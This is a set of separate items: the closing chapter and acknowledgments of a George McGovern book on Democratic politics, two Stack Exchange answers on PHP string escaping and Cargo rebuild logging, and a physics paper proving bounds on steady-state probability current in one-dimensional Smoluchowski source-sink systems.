I can think of no federal initiative now celebrated by both Democrats and Republicans that began as a conservative program launched over Democratic opposition. If there is one tucked away in the congressional annals, I am counting on readers to let me know.
Days before the 1936 election, as my political hero Franklin Roosevelt campaigned for his second term, he gave a famous speech in New York's Madison Square Garden in which he took stock of his many accomplishments, of how far the nation had come in securing stability, and of the Republican record of inactivity he had overcome. But he delivered his hardest punch on his opposition: "Never before in all our history have these forces been so united against one candidate as they stand today. They are unanimous in their hate for me—and I welcome their hatred."
FDR did not shrink away from his political enemies. He hit them head-on. But what consumed him was not retaliation; it was pursuing the proactive agenda he forged to turn our ailing nation around.
Democrats, now is our time to do the same. We must uphold the faith of the millions of Americans who believe in the power of government.
There are those who say that the Democrats have failed to communicate our message effectively. I feel strongly that the best way to correct this is to highlight the unstoppable momentum we have created to raise people up; the same momentum that has made our nation a global showplace.
But it's true that for all the GOP's negative chatter about the liberal media, Democrats don't have the equivalent of a Rush Limbaugh, a Sean Hannity, or a Glenn Beck. More entertainers than journalists, the ultraconservative media inflame national audiences with half-truths and divisive messages. Nor do we have one conductor such as Karl Rove who calls all of us to sing the same verses.
This can be frustrating. When conservatives attack, we need to call them on their tactics and refute their deceptive claims on the spot. Waiting doesn't work in these days of instant news. I'm proud that we are the big-tent party, that we speak with many voices and not just with one. But we cannot let this get in the way of defending ourselves. The hours spent meeting and mulling is the same time that fabricated stories gain traction. We must react before falsehoods become "fact" on the Internet.
Still, we should never lower ourselves to spreading rumors. I'm gratified that our party, for the most part, errs on the side of fairness. We owe it to the people who elect us—and equally to those who don't—to make the best laws we can to serve the public. Our credibility means too much to risk for short-term gain.
The GOP may well be the better-oiled machine. And they know that the quickest way to win is not by campaigning on their plans for the country but by harping on how the Democrats will raise and then squander taxes.
It is unethical to use fear to win an election. And I think the negativity that fear breeds has lasting effects on our country. Barack Obama (and Bill Clinton before him) instinctively understands how imperative it is to project optimism, to talk about our aspirations rather than our doubts, to instill hope. True leaders know that it is only by aspiring to a positive vision of our great country that we can raise her to a higher plane. America yearns for pragmatism, for leadership that can bring our country together, not divide us. The ultimate goal, as Adlai Stevenson said, is to "elevate people."
In this, we can take solace in how aggressive the Republican presidential field has so far been in their attacks against our president. Making oneself look good by making others look bad is a tactic that voters can see through.
Admittedly, these are difficult times. Our economy may be slowly recovering from a shattering recession, but it doesn't feel that way to most people. And as we struggle personally, we are also dogged by the notion that other countries are overtaking our long-held position of preeminence in the world.
Democrats, it's our job, just as it was FDR's, to restore faith in ourselves and in one another. We cannot give up hope on America now.
In June 1993, to the surprise of many of my colleagues, I went to Pat Nixon's funeral. I always thought that Mrs. Nixon had maintained her dignity through tough times, and I knew firsthand how wives get pushed out of the spotlight and elbowed by the press. I wanted to honor her memory. So I caught a ride on the plane that ferried several senators to California from Washington.
At the ceremony, held in the beautiful amphitheater of the Richard Nixon Presidential Library & Museum in Yorba Linda, President Nixon was bathed in tears. Later, when he thanked everyone for coming, he singled me out. But a reporter approached and asked me why I would come pay my respects to an old political enemy.
My answer? "You can't keep campaigning forever."
Democrats, we are the party that rises above. This is not the time to hide in the shadows or to surrender. This is the time to step out and to step up. This is the time for us to heal our nation's rifts and to deliver on her promise as we see it: a republic that is good to all. It is not for nothing that I will go to my grave believing that ours is the greatest country on earth.
ACKNOWLEDGMENTS
This book is the brainchild of a superior editor and publisher who has been my treasured friend for many years, David Rosenthal.
I could not have completed this book in the timeline set by the publisher without the splendid assistance of Linda Kulman. She made certain that both research and composition were excellent.
GEORGE McGOVERN
It was an honor and pleasure to collaborate with George McGovern.
The country is better for John Podesta's founding of the Center for American Progress, and so is this book. Winnie Stachelberg generously opened up CAP to us for research on numerous fronts. I'd like to thank fellows Matthew Duss, for his help on the Middle East; Lawrence Korb, for sharing his knowledge on defense spending; Ruy Teixeira, on American politics; and Daniel Weiss, for his expertise on energy policy. Robert Greenstein and Richard Kogan at the Center on Budget and Policy Priorities provided invaluable assistance on government spending, and Marshall Matz shared his extensive knowledge of Senator McGovern's career-long work on hunger. Tom Daschle and Jeff Smith also provided wise insights.
I would like to thank Jodi Enda for her contribution and partnership. Michaela Balderston was an intelligent and energetic research assistant.
My mother, Margie Kulman, and my sisters, Betsy Kulman and Cindy Brown, gave me unbounded support. David Fauvre, Rafael Heller, Joni Walser, Nancy Zucker-brod, and my Eastham cheering squad showed the generosity of spirit that makes them so dear to me. Katy Kelly transcended the ordinary claims of friendship, as she has done with each of my projects. Finally, I was lucky enough to come home to Ralph, Sam, and Julia each night. You are my North Star.
LINDA KULMAN
| {
"redpajama_set_name": "RedPajamaBook"
} | 8,003 |
Q: Unable to concat trim function in string correctly I have a string "Bengaluru's 1st Sign Language". I want to remove the apostrophes in this string using trim function in php. This string is named as heading variable in the below code for Read more.
function readMoreFunction($heading, $story_desc,$link,$targetFile,$id)
{
//Number of characters to show
$chars = 512;
$story_desc = strip_tags($story_desc);
$story_desc = substr($story_desc,0,$chars);
$story_desc = substr($story_desc,0,strrpos($story_desc,' '));
// Concatenation issue
$story_desc = $story_desc." <a target='_blank' aria-label='Read More -
".trim($heading, '"')."' href='".$link."/".$targetFile."/".$id."'>Read
More...</a>";
return $story_desc;
}
Expected Result
<a target='_blank' aria-label='Read More Bengalurus 1st Sign Language' href='https://yahoo.com/story/16558'>Read More</a>
A: use like this
$heading ="Read More Bengaluru's 1st Sign Language";
echo $goodUrl = str_replace("'", '', $heading);
A: Following is the solution I found alright.
function readMoreFunction($heading, $story_desc,$link,$targetFile,$id)
{
//Number of characters to show
$chars = 512;
$story_desc = strip_tags($story_desc);
$story_desc = substr($story_desc,0,$chars);
$story_desc = substr($story_desc,0,strrpos($story_desc,' '));
$ariaLabel = "Read More - ".htmlspecialchars($heading,ENT_QUOTES);
$story_desc = $story_desc." <a target='_blank' aria-label='".$ariaLabel."' href='".$link."/".$targetFile."/".$id."'>Read More...</a>";
return $story_desc;
}
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 3,055 |
Q: How do I make Cargo show what files are causing a rebuild? I am using cargo, maturin and pytest to build a mixed Python/Rust project. During development, I frequently cycle through the commands:
$ cargo test -p mypkg --release
$ maturin develop --release
$ python -m pytest --failed-first my_pkg
It seemed like cargo and maturin were compiling dependencies when there was not a reason to do so. After some experimentation, I found that if I run
*
*cargo ...
*maturin ...
*cargo ...
*maturin ...
the second run of cargo and maturin would recompile the dependencies, even though I had not manually changed any of the source files.
I don't have a small example to reproduce this, so I am trying to debug it with the full system. To do that, I would like to know what files cargo and/or maturin think are out of date. Once I know that, the full solution will probably be obvious.
However, there don't seem to be flags that I can pass that give me that information. cargo -vv test ... produces a lot of output about what it is compiling and how, but not why. maturin does not even seem to have a -v flag available.
I found cargo-outdated, but that appears to be about dependency versions.
I have two Rust packages, each with 5-10 direct dependencies and about 100 total dependencies.
How can I figure out what files are causing cargo/maturin to rebuild the dependencies?
A: You can ask Cargo to output logging information relevant to fingerprints. With Cargo 1.56.0, the appropriate environment variable is CARGO_LOG=cargo::core::compiler::fingerprint=info.
As an example:
% CARGO_LOG=cargo::core::compiler::fingerprint=info cargo build
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
% touch src/main.rs
% CARGO_LOG=cargo::core::compiler::fingerprint=info cargo build
[2021-11-30T18:13:54Z INFO cargo::core::compiler::fingerprint] stale: changed "/private/tmp/xxx/src/main.rs"
[2021-11-30T18:13:54Z INFO cargo::core::compiler::fingerprint] (vs) "/private/tmp/xxx/target/debug/.fingerprint/xxx-3af563e7d679143a/dep-bin-xxx"
[2021-11-30T18:13:54Z INFO cargo::core::compiler::fingerprint] FileTime { seconds: 1638295984, nanos: 344057437 } != FileTime { seconds: 1638296033, nanos: 750100000 }
[2021-11-30T18:13:54Z INFO cargo::core::compiler::fingerprint] fingerprint error for xxx v0.1.0 (/private/tmp/xxx)/Build/TargetInner { name: "xxx", doc: true, ..: with_path("/private/tmp/xxx/src/main.rs", Edition2021) }
[2021-11-30T18:13:54Z INFO cargo::core::compiler::fingerprint] err: current filesystem status shows we're outdated
A: This is the solution to my specific problem for the next user.
The CARGO_LOG environment variable answer worked. It produced a lot of output along the lines of
[2021-11-30T18:29:06Z INFO cargo::core::compiler::fingerprint] err: RUSTFLAGS has changed: previously [], now ["-C", "link-arg=-undefined", "-C", "link-arg=dynamic_lookup"]
I am pretty sure that maturin adds those flags when building a library to be imported by python.
At one point, I saw a way to modify Cargo.toml to add those when building with cargo as well.
My solution was simpler: I ran the cargo tests with
cargo test -p mypkg # no --release
so that cargo builds and tests debug code and maturin/pytest builds and tests release code. The flags are inconsistent, but not in a way that matters. And if maturin changes the flags that it adds, I don't need to update my flags.
This does mean that when dependencies change, I build them twice, but that is much better than building them twice on every cycle.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 1,253 |
\section*{Introduction}
Non-equilibrium statistical mechanics is of fundamental importance in many
fields, and particularly in understanding molecular and cell-scale biology
\cite{hopfield1974kinetic,Hill2004,beard2008chemical,lee2019high}. Furthermore, fundamental theoretical ideas from the field
(e.g., Refs.\
\onlinecite{jarzynski1997nonequilibrium,crooks1999entropy,seifert2012stochastic})
have often been translated into very general computational strategies (e.g., Refs.\
\onlinecite{zhang2010weighted,Dickson2010a,ytreberg2004single,bello2015exact,nilmeier2011nonequilibrium}).
Continuous-time Markov processes occurring in continuous configurational spaces form a central pillar of non-equilibrium studies \cite{chapman1928brownian,kolmogoroff1931analytical}, including chemical and biological processes \cite{van1992stochastic}.
The behavior of such systems is described by a Fokker-Planck equation or, when momentum coordinates are integrated out, by the Smoluchowski equation \cite{Risken1996,gardiner2009stochastic}.
In the latter case, the probability density $p(x,t)$ and the probability current $J(x,t)$ are the key observables, and their behavior continues to attract theoretical attention \cite{berezhkovskii2014multidimensional,ghysels2017position,grafke2018numerical,polotto2018supersymmetric,cossio2018transition,del2018grand,berezhkovskii2018mapping}.
Continuous-time Markov processes in discrete spaces obey a master equation \cite{van1992stochastic}; such "Markov state models" play a prominent role in modern biomolecular computations \cite{singhal2004using,noe2007hierarchical,voelz2010molecular,chodera2014markov} as well as in the interpretation of experimental kinetic data \cite{makarov2015single,lee2019high}.
An application of great importance is the estimation of the mean first-passage time (MFPT)
for transitions between "macrostates" $A$ and $B$, two non-overlapping regions of configuration space.
The MFPT$(A \to B)$ is the average time for trajectories initiated in A according to some specified distribution, to reach the boundary of B.\cite{gardiner2009stochastic}
If a large number of systems are orchestrated so that trajectories reaching B (the absorbing ``sink'') are re-initialized in A (the emitting ``source''), this ensemble of systems will eventually reach a steady state.
Such a steady-state ensemble can be realized via the "weighted ensemble" (WE) path
sampling strategy
\cite{huber1996weighted,zhang2010weighted,suarez2014simultaneous,adhikari2018computational}, for example.
In steady state, the total probability arriving to state B per unit time (the ``flux'' -- i.e., the integral of the current $J$ over the boundary of B) will be constant in time.
The "Hill relation" then provides an exact relation between the
steady-state flux
and the mean first-passage time (MFPT)
\cite{Hill2004,bhatt2010steady,suarez2014simultaneous}:
\begin{equation}
\frac{1}{\mathrm{MFPT}(A \to B)} = \mathrm{Flux}(A \to B \, | \, \mbox{steady state}) \; ,
\label{hill}
\end{equation}
where the dependence on the initializing distribution in A is implicit and does not affect the relation.
When macrostates A and B are kinetically well-separated the reciprocal of the $\mathrm{MFPT}$ is the effective rate constant for the transition\cite{hanggi1990reaction}.
The Hill relation \eqref{hill} is very general \cite{Hill2004,warmflash2007umbrella,dickson2009nonequilibrium,aristoff2018optimizing,zuckerman2015statistical} and is not
restricted to one dimensional systems or to particular distributions of feedback
\emph{within} the source state A.
In one dimension, the steady flux is equivalent to the steady-state current $J_{ss}$, which will be used in much of the exposition below.
While the relaxation time to converge to steady-state can be very short compared to the $\mathrm{MFPT}$, it is unknown a priori, and may be computationally expensive to sample in complex systems of interest \cite{adhikari2018computational}.
This limitation applies to the weighted ensemble strategy, as traditionally implemented, because WE is unbiased in recapitulating the time evolution of a system \cite{zhang2010weighted}.
Thus there is significant motivation to obtain information regarding the converged steady-state current (which depends upon the boundary conditions, and \emph{not} the initial condition) of complex systems, from the observed transient current (which does depend upon the initial condition).
Here, we take first steps toward this goal and show that the maximum (minimum) transient current, regardless of initial condition, serves as an upper (lower) bound on the non-equilibrium steady-state current, in a class of one-dimensional continuous-time Markovian stochastic systems, with prescribed boundary conditions.
In cases of practical interest, the full system is likely to be high-dimensional, and we do not expect that the \emph{local} transient currents at particular configurations will provide a bound on the steady-state flux.
However, one-dimensional (1D) projections of the current, along a well-chosen collective coordinate of interest, may still exhibit monotonic decay as discussed below.
The paper is organized as follows.
After proving and illustrating bounds in discrete and continuous 1D systems, we discuss more complex systems and provide a numerical example of folding of the NTL9 protein using WE\cite{adhikari2018computational}.
We speculate that effective upper and lower bounds for the current exist in high-dimensional systems, and hope that the 1D derivations presented here will motivate future work in this regard.
\section*{Discrete-state formulation: Bounds and Intuition}
\begin{figure}
\centering
\includegraphics[width=200pt]{current-discrete-1d.png}
\caption{One-dimensional discrete state system. States (black numbers) and currents (blue) are shown}
\label{fig:discrete}
\end{figure}
The essence of the physics yielding bounds on the steady current can be appreciated from a one
dimensional continuous-time discrete-state Markov process as shown in Fig.\
\ref{fig:discrete}. The dynamics will be governed by the usual master equation
\begin{equation}
\frac{dP_i}{dt} = - \sum_{j \neq i} P_i \, k_{ij} + \sum_{j \neq i} P_j \, k_{ji}
\label{master}
\end{equation}
where probabilities $P_i = P_i(t)$ vary in time while rate constants $k_{ij} \equiv k_{i,j}$ for $i \to j$ transitions are time-independent.
(We use a subscript convention throughout where the forward direction is left-to-right, and commas are omitted when possible.)
We will assume that only nearest-neighbor transitions are allowed -- i.e., that
\begin{equation}
k_{ij} = 0 \hspace{2mm} \mbox{for} \hspace{2mm} |j-i|>1 \; .
\label{locality}
\end{equation}
Indeed, discrete random walks of this type provide a finite-difference approximation to diffusion in continuous space \cite{metzler2000random}.
The net current in the positive direction between any neighboring pair of states is given by the difference in the two directional probability flows,
\begin{equation}
J_{i,i+1} = P_i \, k_{i,i+1} - P_{i+1} \, k_{i+1,i}
\label{jdef}
\end{equation}
Because the probabilities $P_i$ vary in time, so too do the currents: $J_{i,i+1} = J_{i,i+1}(t)$.
Using \eqref{jdef}, the master equation \eqref{master} can be re-written as
\begin{equation}
\frac{dP_i}{dt} = J_{i-1,i} - J_{i,i+1}
\label{masterj}
\end{equation}
which is merely a statement of the familiar continuity relation: the probability of occupying a state increases by the difference between the incoming and outgoing currents.
To establish a bound, assume without loss of generality that a local maximum of the current occurs between states 5 and 6.
That is,
\begin{equation}
J_{56} > J_{45} \hspace{1cm} \mbox{and} \hspace{1cm} \;
J_{56} > J_{67} \; .
\label{jassume}
\end{equation}
Differentiating $J_{56}$ with respect to time and employing Eqs.\ \eqref{jdef} and \eqref{masterj} yields
\begin{align}
\frac{d J_{56}}{dt} &= k_{56} \frac{d P_5}{dt} - k_{65} \frac{d P_6}{dt} \nonumber \\
&= k_{56} ( J_{45} - J_{56} ) - k_{65} ( J_{56} - J_{67} ) < 0 \; ,
\label{djdtmax_discrete}
\end{align}
where both terms are negative because rate constants are positive and the signs of the current differences are determined by the assumptions \eqref{jassume}.
The local maximum current must decrease in time.
If instead $J$ exhibited a local \emph{minimum} at the $5\to6$ transition, reversing the directions of the inequalities \eqref{jassume}, then the corresponding time derivative would be positive, implying a local minimum must increase.
We have therefore shown \emph{regardless of boundary conditions} that local maxima must decrease with time and local minima must increase with time in the discrete-state case with nearest-neighbor transitions.
Under stationary boundary conditions, the current will decay to its steady value $J_{ss}$ and thus the global extrema at any time are bounds on the steady current.
Physically, the changes in the probability produced by local differences in current -- Eq.\ \eqref{masterj} -- necessarily cause relaxation of the current toward its steady value.
We note that in a one-dimensional steady state, whether equilibrium or non-equilibrium, the current $J_{ss}$ is a constant independent of position.
\subsection*{Boundary behavior in a discrete-state source-sink system}
The preceding conclusions were obtained for \emph{local extrema} without any
assumptions about boundary conditions. We now want to examine boundary
conditions of particular interest, namely a feedback system with one absorbing
boundary (``sink'') state and one emitting boundary (``source'') state, where flux
into the sink is re-initialized. In such a source-sink system, we will see that similar
conclusions are reached regarding the relaxation of current extrema at the
boundaries.
For concreteness, suppose in our linear array (Fig.\ \ref{fig:discrete}) that
state 0 is the source and state 9 is the sink: the probability current into state
9 is fed back to state 0. The source at state 0 is also presumed to
be the left boundary of the system, which is implicitly reflecting.
Consider first the case where the maximum of the current occurs at the source at
some time $t$ -- i.e., $J_{01}$ is the maximum. To analyze this case, note
that by assumption, the source state 0 in fact receives probability that arrives
to the sink state 9. That is, Eq.\ \eqref{masterj} applies in the form
\begin{equation}
\frac{ d P_0 }{ dt } = J_{89} - J_{01} \; .
\end{equation}
This, in turn, implies that the analog of Eq.\ \eqref{djdtmax_discrete} applies
directly, and we deduce that if $J_{01}$ is the maximum among $J$ values, then
it must decrease in time.
Because analogous arguments apply to all the other boundary cases (maximum at
sink, minimum at either boundary), we conclude that any boundary extremum
current must decay with time toward $J_{ss}$ in a source-sink discrete-state
system.
For completeness, we note that in principle the feedback of the flux reaching the
sink state could occur at a set of source states, in contrast to the single
source state assumed above. However, because of the locality property
\eqref{locality} which has been assumed, if we consider any current maximum not
part of the set of source states, the same arguments will apply.
\section*{Current bounds for continuous systems in the Smoluchowski framework}
Our primary interest is continuous systems, and so we turn now to a formulation
of the problem via the Smoluchowski equation, which describes over-damped
Langevin dynamics \cite{Risken1996,gardiner2009stochastic}. Conceptually,
however, it is valuable to note that the preceding discrete-state derivation of
current bounds depended on the \emph{locality} embodied in \eqref{locality} and the \emph{Markovianity} of
dynamics, two properties that are preserved in the Smoluchowski picture.
Our derivation proceeds in a straightforward way from the one-dimensional
Smoluchowski equation. Defining $p(x,t)$ and $J(x,t)$ as the probability density
and current at time $t$, we write the Smoluchowski equation as the continuity relation
\begin{equation}
\frac{ \partial p }{\partial t} = - \frac{ \partial J }{\partial x}
\label{cont}
\end{equation}
with current given by
\begin{equation}
J(x,t) = \frac{ D(x) }{ k_B T } f(x) \, p(x,t) - D(x) \, \frac{ \partial p }{ \partial x } \; ,
\label{jxt}
\end{equation}
where $D > 0$ is the (possibly) position-dependent diffusion ``constant'', $k_B
T$ is the thermal energy at absolute temperature $T$, and $f = -dU/dx$ is the
force resulting from potential energy $U(x)$.
We now differentiate the current with respect to time and examine its behavior
at extrema -- local minima or maxima. We find
\begin{align}
\frac{ \partial J }{\partial t}
&= \frac{ D(x) }{ k_B T } f(x) \frac{ \partial p }{\partial t}
- \frac{ \partial }{\partial t} \left [ D(x) \, \frac{ \partial p }{ \partial x } \right] \\
&= \frac{ D(x) }{ k_B T } f(x) \frac{ \partial p }{\partial t}
- D(x) \frac{ \partial^2 p }{ \partial x \partial t } \\
&= -\frac{ D(x) }{ k_B T } f(x) \frac{ \partial J }{\partial x}
+ D(x) \, \frac{ \partial^2 J }{ \partial x^2 } \label{djdt}
\hspace{0.75cm} \mbox{[General]}\\
&= D(x) \, \frac{ \partial^2 J }{ \partial x^2 }
\hspace{2.75cm} \mbox{[Extrema only]} \label{djdtmax}
\end{align}
where the third line is derived by equating $ \partial^2 p / \partial t \partial x = \partial^2
p / \partial x \partial t$ and then substituting for $\partial p / \partial t$ in all three
terms using the continuity relation \eqref{cont}. The last line is obtained
because $\partial J / \partial x = 0$ at a local extremum (in $x$).
Eq. \eqref{djdtmax} is the sought-for result: it implies decay with
time of local extrema in the current $J$. If $x$ is a local maximum, then
$\partial^2 J / \partial x^2 < 0$ and conversely for a minimum; recall that $D(x)$ is
strictly positive. (Strictly speaking, for a local maximum one has $\partial^2 J /
\partial x^2 \leq 0$ rather than a strict inequality, but the case of vanishing second derivative is pathological for most physical systems.)
With open boundaries, the global maximum is also a local maximum and must decrease in time. Likewise, the global minimum must increase. The global extrema therefore provide upper and lower bounds at any given $t$ that tighten with time.
See below for discussion of boundaries and source/sink systems.
It is interesting to note that Eq.\ \eqref{djdt} resembles a Smoluchowski
equation, but for the current $J$ instead of $p$. Except in the case of simple
diffusion [$f(x) = 0$ and $D(x) = D = \mbox{const.}$], this is a ``resemblance''
only, in that the right-hand side cannot be written as the divergence of an
effective current and hence the integral of the current is not a conserved
quantity. However, the similarity may suggest why the current has a ``self
healing'' quality like the probability itself -- i.e., the tendency to relax
toward the steady state distribution.
\subsection*{Maximum Principle in a spatially bounded region}
The preceding results could be obtained with elementary calculus, but characterizing current extrema in systems with more challenging boundary behavior requires the use of mathematical approaches not well known in the field of chemical physics.
Mathematically, it is known that Eq.\
\eqref{djdt} is a ``uniformly parabolic'' equation -- defined below -- and therefore obeys a ``maximum principle'' (MP).\cite{protter2012maximum}
The MP, in turn, implies the monotonic decay of extrema noted above, away from boundaries.
In addition to vanishing first derivatives at extrema, the MP only requires the
\emph{non-strict} inequality $\partial^2 J / \partial x^2 \leq 0$, or the corresponding
inequality for a minimum.
For reference, we note that a uniformly parabolic partial differential equation for a function $u(x,t)$ takes the form
\begin{equation}
\label{parabolic}
\frac{ \partial u }{ \partial t} = a(x,t) \, \frac{ \partial^2 u }{ \partial x^2 } + b(x,t) \, \frac{ \partial u }{ \partial x} \,
\end{equation}
where $a(x,t) \geq a_0 > 0$ for all $x$ and $t$ in the domain of interest, with $a_0$ a constant.
Note that $b(x,t)$ is not restricted to be positive or negative.
The maximum principle dictates that if one considers the space-time plane
defined by $0 \leq x \leq L$ and $t_1 \leq t \leq t_2$, then any local extremum
must occur on the spatial boundaries ($x=0$ or $x=L$) or at the initial time
$t_1$. Most importantly, the extremum \emph{cannot} occur at $t=t_{\mathrm{max}}$ away from
the boundaries. Because $t_1$ and $t_2$ are arbitrary, then one can inductively
consider decreasingly small $t_1$ values arbitrarily close to $t_2$ to infer
monotonic decay of extrema which occur away from the boundaries. We note that
non-rectangular space-time domains are covered by MPs to some extent
\cite{protter2012maximum}.
It is interesting that the Smoluchowski equation itself for $p(x,t)$ does \emph{not} generally take the form \eqref{parabolic} and hence may not obey a maximum principle.
The value of the maximum of $p$ could grow over time.
One example is the relaxation of an initially uniform distribution in a harmonic potential, which would develop an increasing peak at the energy minimum as equilibrium was approached.
The density satisfies a maximum principle in \emph{simple} (force-free) diffusive behavior \cite{protter2012maximum} -- which does conform to \eqref{parabolic} -- in which the density must spread with time.
The current, like the density in simple diffusion, tends toward a constant value in steady state -- even when there is a non-zero force.
\subsection*{Maximum principle for a continuous source-sink system}\label{section:max-source-sink}
The case of primary interest is a source-sink feedback system because, as noted above, the steady current quantitatively characterizes the system's kinetics.
This 1D current is exactly the inverse MFPT, from the Hill relation \eqref{hill}.
We have not yet explicitly considered the addition of source and sink terms in the Smoluchowski equation Eq. \eqref{cont}. With explicit inclusion of source-sink feedback
in one dimension, we find that a paradigmatic system which obeys a maximum principle over the entire domain (including boundaries) is a finite interval with one end acting as a perfect sink and the other end being the source where flux from the sink is reintroduced. The source boundary is taken to be reflecting, so this is not a fully periodic system.
When the global maximum or minimum occurs at a boundary of a one-dimensional
source-sink system -- either at the sink or the other boundary --
additional consideration (beyond what is discussed above) is necessary because the condition $\partial J/\partial x =0$
generally will \emph{not} hold at the boundaries. However, as motivation, we
point out that the same continuity arguments employed above in the discrete case
apply in the continuous case as well, at least for the case of feedback to a
single source state at a boundary.
Intuitively, then, monotonic decay of extrema is again expected.
Mathematically, we start by considering a system bounded by an interval $0 \leq x \leq x_1$ with sink at $x=0$ and source location $x_{\mathrm{src}} \in (0,x_1)$.
The source is initially located in the interior of the interval for mathematical simplicity but later will be moved (infinitely close) to the boundary.
The probability current reaching the sink is re-initialized at $x=x_{\mathrm{src}}$, while the $x_1$ boundary is reflecting in this formulation.
The governing equation therefore includes a source term:
\begin{equation}
\frac{ \partial p(x,t) }{\partial t} = - \frac{ \partial J(x,t) }{\partial x} - J(x=0,t) \, \delta(x-x_{\mathrm{src}})
\label{cont_src}
\end{equation}
with current given again by \eqref{jxt}, with sink boundary condition
$p(x=0,t) = 0$, and with reflecting boundary condition $J(x=x_1,t)=0$ to a model a finite domain with no probability loss.
The negative sign preceding the source term $J(x\!=\!0,t) \, \delta(x-x_{\mathrm{src}})$ is necessary because current arriving to the sink (at the \emph{left} side of the interval) is negative by convention.
Note that \eqref{cont_src} is a special case where feedback occurs at a point;
more generally, instead of a delta function, an arbitrary distribution on the
domain could be used in the second term on the right-hand side: see Appendix \ref{app:src_genl}.
In Appendix \ref{app:src_genl}, we show that \eqref{cont_src} obeys a maximum principle regardless of the location of the source $x_{\mathrm{src}}$ or the initial condition. However, on its own, this maximum principle does not establish the sought-for monotonic decay of extrema because maxima and minima could still occur on the spatial boundaries, or at the source, with increasing time. Note that the maximum principle applies only to global extrema inside the domain.
We therefore turn to an alternative formulation that includes a boundary source \emph{implicitly} via boundary conditions without the source term of \eqref{cont_src}, and a more powerful maximum principle is also seen to hold.
As shown in Appendix \ref{app:periodic}, by taking the limit of $x_{\mathrm{src}}\to x_1$ (or, equivalently, $x_1\to x_{\mathrm{src}}$), we obtain the standard Smoluchowski description of Eqs.\
\eqref{cont} and \eqref{jxt} with sink boundary condition $p(x=0,t) = 0$,
\emph{along with an additional boundary condition -- the ``periodicity'' of current,} namely, $J(x=x_{\mathrm{src}}, t) = J(x=0,t)$.
The source term of Eq.\ \eqref{cont_src} is no longer present, but
identical behavior for $p$ and $J$ is obtained, along with a maximum principle, as shown in Appendix \ref{app:periodic}.
In this special case when the single source point occurs at a boundary, the
periodicity of the current
does not allow a local extremum on the boundary and leads to a
maximum principle (MP) implying monotonic decay of extrema; see Appendix \ref{app:periodic}.
The MP for a periodic function indicates that the maximum in a space-time
domain between arbitrary $t_1 < t_2$ must occur at the earlier time. This
implies, inductively, the monotonic decay of local extrema in $J$ -- i.e.,
decrease with $t$ of maxima and increase of minima.
Although monotonic decay of extrema may seem obvious from the discrete case, the maximum principle for the continuous case covers instances that may seem surprising.
In looking for a counter-example, one could construct a system with a very low diffusion constant but large and spatially varying forces.
For example, one could initialize a spatially bounded probability distribution on the side of an inverted parabolic potential: intuitively, one might expect the maximum current to increase as the probability packet mean velocity increases down the steepening potential.
However, so long as the diffusion rate is finite, the spreading of the probability distribution (lowering the peak density) will counteract the increase in velocity. A numerical example is shown in Figure \ref{fig:parabolaPotential}.
\subsection*{Numerical evidence: One dimension}
\begin{figure}
\centering
\includegraphics[width=0.9\linewidth]{flux_simple.pdf}
\caption{Numerical data for simple diffusion in a source-sink system. Left: The system is initialized with all probability at the source $x/L=1$, and the current towards the sink is seen to relax to steady behavior as $t$ becomes a substantial fraction of the first-passage time $\bar{t}$. Right: The maximum and minimum currents converge monotonically toward the steady-state value with increasing time.}
\label{fig:simple}
\end{figure}
We have employed numerical analysis of one-dimensional systems to illustrate the
behavior of the time-evolving current.
In these examples, we define positive current as directed towards the sink.
We first examined a simple diffusion
process with source at $x=1$ and sink boundary condition at $x=0$ using units
where the diffusion coefficient $D=1$ and the mean first-passage time is
$\bar{t}=L^2/2D$, where $L=1$ is the domain length. In all examples probability is initialized as a delta-function distribution at the source, and propagated via numerical solution of the Smoluchowski equation using the FiPy package \cite{guyer2009fipy}. In all examples we have applied periodic boundary conditions for the
current (with a reflecting boundary at the source), appropriate to describe the evolution of Eq.\
\eqref{cont_src} for a single-source point at the system boundary (see
Appendix \ref{app:periodic} for a complete discussion of boundary conditions).
Fig. \ref{fig:simple} shows clearly that the spatial maximum and
minimum value bracket the true steady-state current. In this system the minimum current value and the ``target'' current (at the sink) are identical.
We also examined a numerical system with a potential barrier separating the
source ($x=1.6$ nm) and sink ($x=0$) states. See Fig.\ \ref{fig:potential}.
Parameters for this example were roughly intended to model the diffusion of a
1nm sphere in water at 298K: $D=2.6\times10^{-10}$ m$^2$/s, and a Gaussian
barrier of height 10 $k_B T$ and width 2 nm. Probability was again initialized at the source. Qualitatively the results are
similar to the simple diffusion case, with the spatial maximum and minimum current
bracketing the true steady-state current.
In this system the minimum current value and the current at the sink are identical.
Here, the relaxation time to steady state is roughly four orders of magnitude faster than the $\mathrm{MFPT}$ of $\sim0.5$ ms, as shown in Fig. \ref{fig:potential}.
\begin{figure}
\centering
\includegraphics[width=0.9\linewidth]{flux_potential.pdf}
\caption{Numerical data for diffusion over a central barrier in a source-sink system. Left: The system is initialized with all probability at the source, $x/L=1$, and the current towards the sink at $x=0$ is seen to relax to steady behavior at a fraction of the $\mathrm{MFPT}$.
Right: The currents at the maximum and sink (identical to the minimum in this system) converge monotonically toward the steady-state value with increasing time. Inset: Potential energy in the domain.}
\label{fig:potential}
\end{figure}
Finally, we examined a one-dimensional in which the monotonic decay of the current may not be intuitive.
We initialize a delta-function distribution at the top of an inverted parabolic potential $U(x)=-\frac{1}{2}k (x-x_0)^2$ and force constant $k=\frac{5 k_B T}{(3 \mbox{nm})^2}$, with the source at the peak ($x_0=12.0$ nm) and sink at $x=0$.
Dynamics parameters for this example are identical to the previous case, $T=$ 298K and $D=2.6\times10^{-10}$ m$^2$/s.
Even though the mean velocity of the ``particle'' initialized at the top of the inverted parabola increases rapidly, this acceleration is counteracted by the spreading of the initial distribution.
In accordance with the maximum principle, Fig.\ \ref{fig:parabolaPotential} shows that the current maximum (minimum) monotonically decreases (increases) until steady-state is reached ($\mathrm{MFPT}=6.2$ns).
Interestingly, in this system the minimum current value and the current at the sink differ.
Although the maximum principle implies the minimum current will increase monotonically over time, the MP does not intrinsically characterize the target current (at the sink), which may not be a minimum.
\begin{figure}
\centering
\includegraphics[width=0.9\linewidth]{flux_parabola.pdf}
